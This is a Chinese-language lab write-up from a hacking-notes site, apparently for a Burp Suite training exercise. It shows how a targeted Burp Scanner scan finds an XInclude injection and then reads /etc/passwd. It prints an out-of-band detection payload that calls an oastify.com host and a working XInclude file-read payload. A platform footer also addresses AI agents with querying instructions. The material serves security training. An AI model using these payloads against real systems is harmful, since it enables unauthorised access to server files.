> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/essential-skills/quick-detection-with-a-target-scan.md).

# 通过目标扫描快速检测

### 通过有针对性的扫描快速发现漏洞

#### 实验上下文

此实验室包含一个可 **读取服务器上的任意文件的漏洞**. / 目标是 **恢复以下的内容 `/etc/passwd` 在不到 10 分钟内**.

由于这个时间限制，建议使用 **Burp Scanner** 而不是进行完整的应用审计。

#### 时间限制

* 从实验开始起，\*\*10 分钟计时器\*\*将处于激活状态。
* 整体站点扫描可能太慢。
* 因此最好 **智能地定位潜在易受攻击的入口点**.

<figure><img src="/files/3ec38ed9c771841fc5b02ce79fa4b5cf6e4e34cc" alt=""><figcaption></figcaption></figure>

#### 方法

1. **使用 Burp Proxy 截获相关的 HTTP 请求** 使用 Burp Proxy。

<figure><img src="/files/4a5585e454ec9b0b56a018d93549cde70f512627" alt=""><figcaption></figcaption></figure>

快速分析查询逻辑以识别一个有趣的端点。

通过以下方式运行有针对性的扫描： **Burp Scanner** 针对这个特定查询。

<figure><img src="/files/3de44ff5a77e5425e79c6e1fe0acf07a00f56a13" alt=""><figcaption></figcaption></figure>

#### Burp 扫描配置

* 所选扫描类型： **爬取并审计**

<figure><img src="/files/abbc10b2d2f17146eccf7cd23a43d07250c0dc37" alt=""><figcaption></figcaption></figure>

* 模式： **快速扫描**

目标：快速识别可利用的攻击向量

<figure><img src="/files/e48dd266d04d668838155731564f72e60c012d6a" alt=""><figcaption></figcaption></figure>

#### 已识别漏洞

扫描显示一种类型为 **XML 注入（XInclude）**.

<figure><img src="/files/b3e373ee98efc7a2001eaf7964473824385d0acf" alt=""><figcaption></figcaption></figure>

Burp Scanner 检测到的初始载荷：

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

这证实服务器会处理 **XInclude** 未经限制的实体。

#### 利用：读取 `/etc/passwd`

有效载荷被修改为包含一个本地系统文件：

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="/files/728687745ffa523d5176447b8485f9812709f70c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/essential-skills/quick-detection-with-a-target-scan.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
